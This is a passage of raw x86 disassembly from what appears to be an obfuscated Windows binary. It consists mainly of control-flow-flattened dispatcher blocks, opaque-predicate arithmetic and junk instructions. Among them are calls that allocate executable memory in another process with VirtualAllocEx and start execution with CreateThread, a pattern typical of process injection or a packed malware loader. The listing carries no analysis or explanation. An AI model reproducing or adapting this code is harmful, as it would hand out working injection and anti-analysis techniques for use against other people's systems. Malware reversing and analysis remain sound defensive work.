or cl, dh
mov ah, dl
mov ch, cl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
and ch, al
xor dl, 1
mov ah, dl
or dl, cl
xor cl, 1
and ah, cl
xor cl, al
xor dl, 1
or dl, cl
or ch, ah
mov eax, 0x567d96c4
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xaa683b44
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x567d96c4
cmove eax, edx
jmp 0x401d70
cmp eax, 0xe59c93ae
je 0x40b99b
cmp eax, 0xe798b582
jne 0x401d70
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0xa0]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
cmp byte [eax], 0
mov eax, dword [0x482584]
lea edx, [eax + 1]
setne byte [ebp - 0x7f]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0x2761e236
and ecx, 0xd89e1dc9
or ecx, edx
mov eax, ecx
mov edx, ecx
xor ecx, 0xd89e1dc8
xor eax, 0x2761e236
xor edx, 0x2761e237
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0xe8a7bfb2
mov esi, ecx
and esi, 0x1758404d
or edx, esi
mov esi, eax
not esi
and eax, 0xe8a7bfb2
or ecx, esi
and esi, 0x1758404d
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x1a75666c
and ecx, 0xe58a9993
or eax, ecx
mov ecx, eax
xor ecx, 0x10216024
xor eax, 0xe58a9993
mov esi, eax
and esi, 0xaa549648
and ecx, 0x55ab69b7
or ecx, esi
mov esi, edx
not esi
and edx, 0x55ab69b7
or eax, esi
and esi, 0xaa549648
or edx, esi
not eax
mov esi, 0xba9bfa10
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe1ea1805
and ecx, 0x1e15e7fa
or ecx, eax
mov eax, ecx
xor eax, 0x40a80004
xor ecx, 0xa0102f0
and ecx, 0xab431af1
and eax, 0x54bce50e
or eax, ecx
xor eax, 0x54bce50e
setne dl
sete ah
cmp dword [0x482580], 0xa
setge al
setl ch
mov cl, al
and ch, dl
and al, ah
xor cl, ah
or al, ch
and cl, ah
mov ah, al
mov ch, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
xor ch, dl
or dl, al
or al, cl
xor cl, 1
xor dl, 1
xor ah, cl
xor al, 1
or dl, ch
or al, ah
xor dl, cl
mov ebx, eax
xor bl, dl
test al, al
mov eax, 0x194a0315
cmovne eax, esi
test dl, 1
mov edx, 0x194a0315
cmove eax, esi
test bl, 1
cmove eax, edx
jmp 0x401d70
cmp eax, 0x2892b115
je 0x40b9b0
cmp eax, 0x2bb6ee81
jne 0x401d70
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [0x482584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xe14759b7
and ecx, 0x1eb8a648
or ecx, edx
mov edx, ecx
mov esi, ecx
xor edx, 0x1474996
xor esi, 0x1eb8a648
xor ecx, 0x60055824
mov eax, esi
and esi, 0xe6283029
and edx, 0x19d7cfd6
or eax, 1
and ecx, 0x60857a64
or edx, esi
mov ebx, eax
and ebx, 0x9f7a859b
mov edi, edx
xor edi, 0x854a44
xor edx, 0xe6283028
or ecx, ebx
or eax, edx
and edx, 0x9f7a859b
and edi, 0x60857a64
or edi, edx
not eax
xor edi, ecx
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x14d0e092
and eax, 0x8a0f1d68
and ecx, 0x61200205
or edx, ecx
xor edx, 0x14d0e092
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7466c3fd
and ecx, 0x8b993c02
or eax, ecx
mov ecx, eax
xor ecx, 0x962128
xor eax, 0x1049dc01
and eax, 0x1149dc43
and ecx, 0xeeb623bc
or ecx, eax
xor ecx, 0x1149dc43
setne dl
sete ah
cmp dword [0x482580], 0xa
setge ch
setl cl
mov al, ch
and cl, dl
xor al, ah
and ah, ch
xor al, 1
or cl, ah
or al, ch
mov edx, ecx
xor dl, al
xor al, 1
mov ch, al
or al, cl
xor dl, 1
xor al, 1
xor ch, cl
or al, dl
mov edx, 0xe46e80de
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x7f66fb2e
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, 1
mov edx, 0x7f66fb2e
cmove eax, edx
jmp 0x401d70
cmp eax, 0x9e023d39
je 0x40b9c3
cmp eax, 0x9f1c528d
jne 0x401d70
mov eax, 0x1870b59c
jmp 0x401d70
cmp eax, 0x68e03d56
je 0x40bb15
cmp eax, 0x6966769d
jne 0x401d70
rcr edi, 0xd2
neg edx
not eax
dec edi
bswap edx
dec ebx
mov ebx, 0x60
sub edi, 0x49
sbb eax, 0x93
bswap edx
dec edi
rol edi, 0xe1
or edx, 0xca
not ebx
sub eax, 0x8c
sbb edx, 3
neg edi
sub ebx, 0xf7
not edi
bswap edi
dec edi
imul eax
bswap ebx
add esi, 0x92
add edx, 0x90
sub ebx, 0x4d
imul eax
sub edi, 0x50
neg edi
bswap esi
neg edx
bswap eax
dec esi
inc edx
inc eax
inc ebx
rcl ebx, 0xbb
or edx, 0x39
rcr ebx, 0x80
not esi
sbb esi, 0x36
add ebx, 0xfe
bswap eax
and edi, 0x5c
dec esi
rcl edi, 0xb9
mov esi, 0x6a
sbb esi, 0x71
bswap eax
and ebx, 0xb9
add edx, 0x8d
inc edi
rcl esi, 0xb9
rcl eax, 0xde
rol eax, 0x38
sub ebx, 0x11
ror eax, 0x12
rcl ebx, 0x30
bswap edi
inc esi
dec edi
inc edi
not eax
not edi
sub esi, 0x56
not ebx
bswap eax
not eax
sbb esi, 0xc2
dec eax
mov esi, 0x85
rcr edi, 0xe4
or esi, 0x1f
and edx, 0xfb
sbb edi, 0xdb
sub edx, 0xc2
mov edi, 0x35
not eax
or esi, 0xd8
dec edi
bswap ebx
rcr ebx, 0x84
dec edx
sub edx, 0x11
rcl eax, 0x65
rcr eax, 0x1d
ror eax, 0x68
dec esi
imul ebx
bswap esi
rcl ebx, 0xc4
rcl esi, 0x7a
inc edx
not edx
dec esi
bswap esi
or ebx, 0x1c
neg esi
dec ebx
bswap edx
add edx, 0xa9
rcl edx, 0x75
rcl ebx, 0x3a
rcr edi, 0xe7
sbb edi, 0x47
inc ebx
inc edx
neg edx
rcl eax, 0x8a
dec esi
sub esi, 0x7d
dec eax
dec ebx
dec edi
and eax, 0xc6
not esi
imul eax
rol esi, 0x39
rcr edi, 0x98
inc edx
bswap esi
dec edx
sub edx, 0x26
sbb edx, 0x9e
mov esi, 0x28
inc eax
neg esi
rcl eax, 0xaf
imul ebx
dec eax
bswap edx
dec edi
inc ebx
bswap edi
mov esi, 0x72
add ebx, 0xe
imul ebx
dec ebx
dec edx
rol edx, 0xf7
not ebx
or eax, 0x95
rol edi, 0x98
inc esi
imul edi
bswap edi
not ebx
imul edx
rcr edx, 5
not edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
mov eax, 0x7ef56d43
jmp 0x401d70
cmp eax, 0xd54b27b7
je 0x40bc7f
cmp eax, 0xd59b6026
jne 0x401d70
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x88]
push 0x40
push 0x3000
push dword [eax]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xd36a2b00
mov edx, eax
and edx, 0x4118422
mov edi, eax
or edi, 0xd77baf22
and eax, 0x523e84ad
or esi, edx
mov edx, edi
not edx
and edi, 0x288450dc
xor esi, 0xd36a2b00
or edx, esi
and edx, 0xd77baf23
or edx, edi
mov esi, edx
not esi
and edx, 0xda0c161d
and esi, 0x25f3e9e2
or edx, esi
mov esi, edx
xor esi, 0x520c040d
xor edx, 0x25f3e9e2
mov edi, edx
or edx, ecx
and ecx, 0xadc17b52
and edi, 0xadc17b52
and esi, 0x523e84ad
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x579c4580
or edx, eax
cmp edx, 0xffffffff
setne ah
cmp dword [0x482580], 0xa
mov al, ah
setge ch
setl dl
inc al
mov cl, ch
and ah, dl
or dl, al
xor cl, al
and al, ch
or al, ah
mov ah, dl
xor al, 1
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
xor ah, 1
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0x94de07bd
cmovne eax, esi
test cl, 1
mov ecx, 0x94de07bd
cmovne eax, ecx
jmp 0x409558
cmp eax, 0x1d745090
je 0x40bca5
cmp eax, 0x1df6b09a
jne 0x401d70
mov eax, 0x26e7f5ff
jmp 0x401d70
cmp eax, 0x94dbcedc
je 0x40bcaf
cmp eax, 0x94de07bd
jne 0x401d70
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x88]
push 0x40
push 0x3000
push dword [eax]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, 0xd59b6026
jmp 0x401d70
cmp eax, 0x5cb3c248
je 0x40bcc5
cmp eax, 0x5cc9114c
jne 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x9f60d4e
jmp 0x401d70
cmp eax, 0xfa0a1f9c
je 0x40be0b
cmp eax, 0xfa9e0dae
jne 0x401d70
cmp byte [ebp - 0x75], 0
mov eax, 0x17772211
mov ecx, 0x52da59a7
cmovne eax, ecx
jmp 0x401d70
cmp eax, 0x3f010fc6
je 0x40be20
cmp eax, 0x3fc7d5d6
jne 0x401d70
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd4]
add eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, 0x68e03d56
jmp 0x401d70
cmp eax, 0xb23f5291
je 0x40bf09
cmp eax, 0xb275328c
jne 0x401d70
mov ecx, dword [ebp - 0x58]
mov eax, ecx
not eax
and ecx, 0xd2132769
and eax, 0x2decd896
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x1001810
xor edx, 0xd2132769
xor ecx, 0xf2132769
and ecx, edx
and eax, 0x43011931
and edx, 0xbcfee6ce
or edx, eax
mov eax, ecx
not eax
and ecx, 0x265ea41e
mov esi, edx
xor esi, 0x45ea40e
xor edx, 0x63011931
mov edi, eax
and edi, 0xd9a15be1
or eax, edx
and edx, 0xd9a15be1
and esi, 0x265ea41e
or ecx, edi
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xd27ea88d
and eax, 0x2082402
mov edx, ecx
and edx, 0x2d815772
or ecx, 0xb4224989
or esi, edx
and ecx, 0xfdf65b9d
mov edx, esi
xor esi, 0x24004100
xor edx, 0x8000
or eax, ecx
or esi, 0x49d41214
and edx, 0x18060
and esi, 0xfdf65b9d
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x9755208a
and ecx, 0x68aadf75
or eax, ecx
mov ecx, eax
xor ecx, 0x22044042
xor eax, 0xdc89169c
mov edx, eax
and edx, 0x55f2bfbd
and ecx, 0xaa0d4042
or ecx, edx
xor ecx, 0x55f2bfbd
xor eax, ecx
test eax, ecx
mov eax, dword [0x482584]
setne byte [ebp - 0x7e]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x75766dd
mov ecx, edx
and ecx, 0x7c8f069f
and eax, edx
not edx
and edx, 0x8370f960
mov esi, eax
not esi
and eax, 0x74a59cf6
or ecx, edx
mov edx, ecx
xor ecx, 0x3506040
xor edx, 0x4050494
mov edi, ecx
or edi, 0x88080100
or ecx, esi
and esi, 0x8b5a6309
and edx, 0x40504d4
and edi, 0x8b5a6309
or eax, esi
not ecx
or edx, edi
xor eax, edx
or ecx, eax
not eax
and eax, 0xf8a89922
and ecx, 0x75766dd
or ecx, eax
mov esi, ecx
xor esi, 0x13f30e94
andn edx, ecx, esi
and esi, ecx
mov eax, edx
mov ebx, esi
not eax
not ebx
and edx, 0xef4067c8
and esi, 0xef4067c8
mov edi, eax
or eax, ebx
and edi, 0x10bf9837
and ebx, 0x10bf9837
or edx, edi
or esi, ebx
not eax
xor esi, edx
mov edx, ecx
not edx
and ecx, 0x9cee228a
or eax, esi
mov esi, eax
not esi
and eax, 0x7651cae7
and esi, 0x89ae3518
or eax, esi
mov esi, edx
and esi, 0x6311dd75
and edx, 1
or esi, ecx
mov ecx, eax
xor ecx, 0xa2c452
xor eax, 0x9a5d3b8d
xor esi, 0x9cee228b
and ecx, 0x80a2ee5a
or edx, esi
mov esi, edx
not esi
and edx, 0x7bfbef52
and esi, 0x840410ad
or edx, esi
mov esi, eax
and esi, 0x7f5d11a5
or ecx, esi
mov esi, edx
xor esi, 0xa2ee52
xor edx, 0x840410ad
or eax, edx
and edx, 0x7f5d11a5
and esi, 0x80a2ee5a
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xfb3304b4
mov ecx, eax
not ecx
and eax, 0x88c99880
and ecx, 0x7736677f
or eax, ecx
mov ecx, eax
xor ecx, 0x88888080
xor eax, 0x6034200d
and eax, 0x6075380d
and ecx, 0x9f8ac7f2
or ecx, eax
mov eax, ecx
xor eax, 0x6065180d
xor ecx, 0x68280c2
and ecx, 0x692a0c2
and eax, 0xf96d5f3d
or eax, ecx
mov ecx, eax
xor ecx, 0xf8440c09
xor eax, 0x4828040
and eax, 0x5abd374
and ecx, 0xfa542c8b
or ecx, eax
xor ecx, 0xfa542c8b
setne cl
sete dl
cmp dword [0x482580], 0xa
setl ch
setge ah
and cl, ch
and ah, dl
mov al, ch
xor ch, dl
or cl, ah
or al, dl
mov ah, cl
mov edx, ecx
xor al, 1
xor ah, 1
or al, ch
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
or dl, ch
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x2726bc09
cmovne ecx, esi
test al, 1
mov eax, 0x2726bc09
jmp 0x401d59
cmp eax, 0x790db5c0
je 0x40bfe9
cmp eax, 0x7b933191
jne 0x401d70
mov eax, 0xda596a69
jmp 0x401d70
cmp eax, 0xcc3c0e98
je 0x40bff3
cmp eax, 0xcc5b3627
jne 0x401d70
mov ecx, dword [ebp - 0xd0]
shr ecx, 0xc
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x41ab0
and ecx, 0x963be54f
or edx, ecx
xor edx, 0x69c41ab0
or eax, edx
mov esi, eax
not esi
mov ecx, eax
and ecx, 0x17e09237
and eax, 0x9a040060
mov edx, esi
and edx, 0x801f6dc8
or esi, 0xa92180
or ecx, edx
and esi, 0x4abf79b
mov edx, ecx
xor edx, 0x92180
mov edi, ecx
xor edi, 4
or eax, esi
or edx, 0x4542d61b
and edi, 0x100804
and edx, 0x45ebf79b
or edi, edx
mov edx, ecx
xor edx, 0x17e09234
xor ecx, 0x8090888
xor eax, edi
or edx, 3
and ecx, 0x1ea99a8c
mov esi, eax
not esi
and eax, 0x9db90383
and esi, 0x2206fc7c
or eax, esi
mov esi, eax
xor esi, 0x1c000a04
xor eax, 0x42ffd5fb
mov edi, eax
or eax, edx
and edx, 0x81566573
and edi, 0xe1566573
and esi, 0x1ea99a8c
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb00cb14d
and ecx, 0x4ff34eb2
or eax, ecx
mov ecx, dword [0x482584]
xor eax, 0xb00cb14d
mov dword [ebp - 0xfc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x24c360ca
mov edx, eax
not edx
and esi, eax
mov ebx, edx
and ebx, 0x8300c0
and edx, 0xf7aee935
mov ecx, esi
not ecx
and esi, 0x8bb02c0
mov edi, ecx
and edi, 0xf744fd3f
or esi, edi
mov edi, eax
or edi, 0xdb3c9f35
or ecx, edi
and edi, 0xf744fd3f
or ebx, edi
not ecx
xor ebx, esi
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0x9c501cf4
and esi, 0x63afe30b
or ecx, esi
mov esi, eax
and esi, 0x85116ca
and eax, 1
or esi, edx
xor ecx, 0x476c83c0
xor esi, 0xf7aee934
or eax, esi
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x85dccd58
and edx, 0x7a2332a7
or edx, esi
mov esi, ecx
not esi
and ecx, 0x7a2332a7
or eax, esi
and esi, 0x85dccd58
or ecx, esi
not eax
mov esi, 0x5c38c633
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x86ed9e5d
mov edx, ecx
and edx, 0x791261a2
or eax, edx
xor eax, 0x86ed9e5d
or eax, ecx
cmp eax, 0xffffffff
setne cl
cmp dword [0x482580], 0xa
setge dl
setl al
or dl, cl
xor al, cl
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
or cl, ch
mov ch, al
xor al, dl
xor ch, 1
xor cl, ch
or ch, ah
xor ch, 1
or ch, al
mov eax, 0x790db5c0
mov dl, ch
xor dl, cl
test ch, ch
cmovne eax, esi
test cl, 1
not dl
mov ecx, 0x790db5c0
cmove eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x401d70
cmp eax, 0x458d2a6
je 0x40c14a
cmp eax, 0x5941f40
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
or esi, 0x8608006
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x759e4f30
and ecx, eax
and esi, 0x5c66c106
and edx, 0x21980e30
or edx, esi
mov esi, ecx
not esi
and ecx, 0xa3993ef9
or eax, esi
and esi, 0x5c66c106
or ecx, esi
not eax
mov esi, 0x8ba37034
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x8a61b0cf
and eax, 0x759e4f30
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf54c2a50
and ecx, 0xab3d5af
or ecx, eax
mov eax, ecx
xor eax, 0x8a1158d
xor ecx, 0x404c0a10
and ecx, 0x425eca32
and eax, 0xbda135cd
or eax, ecx
mov ecx, eax
xor ecx, 0x40068820
xor eax, 0xa0000589
and eax, 0xa258479b
and ecx, 0x5da7b864
or ecx, eax
xor ecx, 0x5da7b864
setne ah
sete dl
cmp dword [0x482580], 0xa
setge cl
mov ch, cl
inc ch
mov al, ch
and ah, ch
and al, cl
xor ch, al
xor al, 1
or al, cl
xor al, 1
or al, ch
mov ch, cl
xor ch, dl
xor al, dl
and ch, cl
and cl, dl
mov edx, eax
xor dl, 1
or cl, ah
xor ch, 1
and al, dl
xor cl, 1
mov ah, ch
xor al, 1
xor ah, cl
or cl, ch
mov ch, al
or al, dl
xor cl, 1
xor ch, dl
xor al, 1
or cl, ah
or al, ch
xor al, cl
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x6000f9a2
cmovne edx, esi
test cl, 1
mov ecx, 0x6000f9a2
cmovne ecx, edx
test al, 1
jmp 0x408459
cmp eax, 0x87640291
je 0x40c160
cmp eax, 0x877cb596
jne 0x401d70
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, 0x252d1b12
jmp 0x401d70
cmp eax, 0x4d9ed1a0
je 0x40c173
cmp eax, 0x4def9379
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xdf5b126f
mov esi, edx
and esi, 0x20a4ed90
and edx, 0xd7ecc2ad
or ecx, esi
mov esi, ecx
xor ecx, 0xa490
xor esi, 0x82080201
or ecx, 0x6df75962
and esi, 0x82088211
mov edi, ecx
and edi, 0x5db7248e
or esi, edi
mov edi, eax
xor edi, 0x9208a69d
and edi, eax
and eax, 0x28133d52
mov ebx, edi
not ebx
and edi, 0xa248db71
or eax, edx
or ecx, ebx
and ebx, 0x5db7248e
xor eax, 0x28133d52
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x9208a69c
and esi, 0x6df75963
or ecx, esi
mov esi, 0x3fc7d5d6
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf958c4a5
and ecx, 0x6a73b5a
or eax, ecx
xor eax, 0xf958c4a5
sete cl
setne ah
cmp dword [0x482580], 0xa
setl al
setge ch
mov edx, eax
and al, ah
and ah, ch
and dl, cl
and cl, ch
or dl, ah
or al, cl
xor dl, 1
xor al, 1
or dl, ch
mov ecx, eax
or al, dl
xor cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x68e03d56
cmovne eax, esi
test cl, cl
mov ecx, 0x68e03d56
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401d70
cmp eax, 0xe3f8c73e
je 0x40c17d
cmp eax, 0xe46e80de
jne 0x401d70
mov eax, dword [ebp - 0xb4]
mov eax, 0x2bb6ee81
jmp 0x401d70
cmp eax, 0x26e96d65
je 0x40c18d
cmp eax, 0x2726bc09
jne 0x401d70
cmp byte [ebp - 0x7e], 0
mov eax, 0x44a8bfd8
mov ecx, 0x2892b115
cmovne eax, ecx
jmp 0x401d70
cmp eax, 0x9ac41a06
je 0x40c1cb
cmp eax, 0x9b620e68
jne 0x401d70
mov eax, dword [ebp - 0x24]
mov dword [eax], 5
mov eax, 0x8630f693
jmp 0x401d70
cmp eax, 0x6478efa0
je 0x40c1d8
cmp eax, 0x64e9aa8b
jne 0x401d70
mov eax, 0x507fff75
jmp 0x401d70
cmp eax, 0xd04ca561
je 0x40c1fb
cmp eax, 0xd0a9a45b
jne 0x401d70
mov ecx, dword [0x482584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x2020000
not ecx
and eax, 0xe428f108
mov esi, ecx
and edx, 0xb4602c3
and esi, 0x10910c34
or esi, edx
mov edx, ecx
or edx, 0x94402c3
and edx, 0xb4602c3
or eax, edx
xor eax, esi
mov esi, 0x7051da73
mov edx, eax
not edx
and eax, 0x19d50ef6
and edx, 0xe62af109
or eax, edx
mov edx, eax
not edx
and eax, 0x5c35faef
and edx, 0xa3ca0510
or eax, edx
xor eax, 0x5c35faef
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x482580], 0xa
setl ch
setge ah
mov al, ch
and cl, ch
and ah, dl
xor ch, dl
or al, dl
or cl, ah
xor al, 1
mov edx, ecx
or al, ch
xor dl, 1
mov ch, al
and cl, al
or al, dl
not ch
and dl, ch
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x21eb3482
cmovne ecx, esi
test dl, dl
mov esi, 0x21eb3482
mov edx, ecx
cmovne edx, esi
test al, al
jmp 0x40c602
cmp eax, 0x1a29f120
je 0x40c218
cmp eax, 0x1a5e8d86
jne 0x401d70
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, 0x6478efa0
jmp 0x401d70
cmp eax, 0x92817597
je 0x40c313
cmp eax, 0x92b3bfa5
jne 0x401d70
mov eax, 0xe59c93ae
jmp 0x401d70
cmp eax, 0x57c78bf8
je 0x40c320
cmp eax, 0x57fd2ec1
jne 0x401d70
mov eax, 0xd04ca561
jmp 0x401d70
cmp eax, 0xf4ab46a7
je 0x40c32a
cmp eax, 0xf66fa51a
jne 0x401d70
mov eax, 0x5350eadf
jmp 0x401d70
cmp eax, 0x3a8f81aa
je 0x40c505
cmp eax, 0x3ad947fa
jne 0x401d70
push 4
push 0x3000
push dword [ebp - 0xec]
push dword [ebp - 0x114]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [0x482584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x8010c00
mov edx, eax
or edx, 0x81ce73d7
and eax, 0x92cfb820
mov esi, edx
and esi, 0x773cf3ed
or edi, esi
mov esi, ecx
xor esi, 0x81ce73d7
andn esi, ecx, esi
or ecx, 1
mov ebx, esi
not ebx
and esi, 0x88c30c12
or edx, ebx
and ebx, 0x773cf3ed
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 0x81ce73d6
and edx, 0x7e318c29
or edx, esi
mov esi, edx
not esi
and edx, 0x92cfb821
mov edi, esi
or esi, ecx
and edi, 0x6d3047de
and ecx, 0x6d3047de
or edx, edi
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov eax, esi
andn ecx, esi, esi
not esi
and eax, 0xf34217f0
and esi, 0xcbde80f
or eax, esi
mov edx, eax
xor edx, 0x31001350
xor eax, 0xcbde80f
mov esi, eax
and esi, 0xc2df84af
and edx, 0x3d207b50
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3d207b50
or eax, esi
and esi, 0xc2df84af
or ecx, esi
not eax
mov esi, 0x458d2a6
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x94dae89
and ecx, 0xf6b25176
or eax, ecx
mov ecx, eax
xor ecx, 0x9080c88
xor eax, 0xb0825034
and eax, 0xb0c7f235
and ecx, 0x4f380dca
or ecx, eax
mov eax, ecx
xor eax, 0x872234
xor ecx, 0xe100942
and ecx, 0xbe50d943
and eax, 0x41af26bc
or eax, ecx
xor eax, 0x41af26bc
setne ah
sete ch
cmp dword [0x482580], 0xa
mov dh, ah
setge cl
setl al
or dh, al
mov dl, cl
and al, ah
or dl, ch
mov bl, dh
and ch, cl
xor bl, dl
or dl, dh
or al, ch
xor dl, 1
or dl, bl
mov ebx, ecx
or cl, ah
xor bl, ah
not cl
or cl, bl
not cl
or cl, al
mov eax, 0xa07722e2
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0x458d2a6
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
mov edx, dword [ebp - 0x38]
cmove eax, esi
cmp dword [edx + 4], 0
sete byte [ebp - 0x73]
jmp 0x401d70
cmp eax, 0xaa683b44
je 0x40c51b
cmp eax, 0xab2b4451
jne 0x401d70
mov eax, dword [ebp - 0x40]
mov eax, 0x982da096
jmp 0x401d70
cmp eax, 0x72d7931c
je 0x40c52b
cmp eax, 0x72ea2e8c
jne 0x401d70
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x160], eax
mov eax, 0xbe81cd36
jmp 0x401d70
cmp eax, 0xc15a25b3
je 0x40c552
cmp eax, 0xc18b0de7
jne 0x401d70
mov eax, 0x5d28622e
jmp 0x401d70
cmp eax, 0x120ff01d
je 0x40c55c
cmp eax, 0x1350a2dc
jne 0x401d70
mov eax, dword [0x482584]
mov esi, 0xce9d6db3
mov edi, 0xe3d13182
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x32c96a6a
and eax, 0xcd369595
or ecx, eax
mov eax, ecx
xor ecx, 0x49040585
xor eax, 0x32c96a6a
mov edx, eax
and ecx, 0x4b8507e5
and eax, 0xb47af81a
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xb47af81b
or eax, edx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xdaa8a0b3
and eax, 0x25575f4c
or edx, eax
xor edx, 0xdaa8a0b3
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4b0afd4e
mov edx, eax
and edx, 0xb4f502b1
or ecx, edx
xor ecx, 0x4b0afd4e
or ecx, eax
cmp ecx, 0xffffffff
setne cl
cmp dword [0x482580], 0xa
mov ch, cl
setl al
setge dl
inc ch
mov ah, al
xor al, cl
mov cl, dl
xor cl, ch
or ah, ch
or ch, dl
not cl
xor ch, 1
and cl, dl
mov dl, ah
xor dl, al
or al, ah
or cl, ch
xor al, 1
or al, dl
mov edx, eax
mov ah, al
xor dl, 1
and dl, al
xor dl, 1
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
xor dl, cl
mov ch, dl
not ch
and ch, cl
test dl, 1
cmovne esi, edi
test ch, 1
cmovne esi, edi
test dl, 1
mov edx, dword [ebp - 0xf8]
mov eax, esi
cmovne eax, edi
test ch, 1
cmove eax, esi
add edx, 4
mov dword [ebp - 0x140], edx
jmp 0x401d70
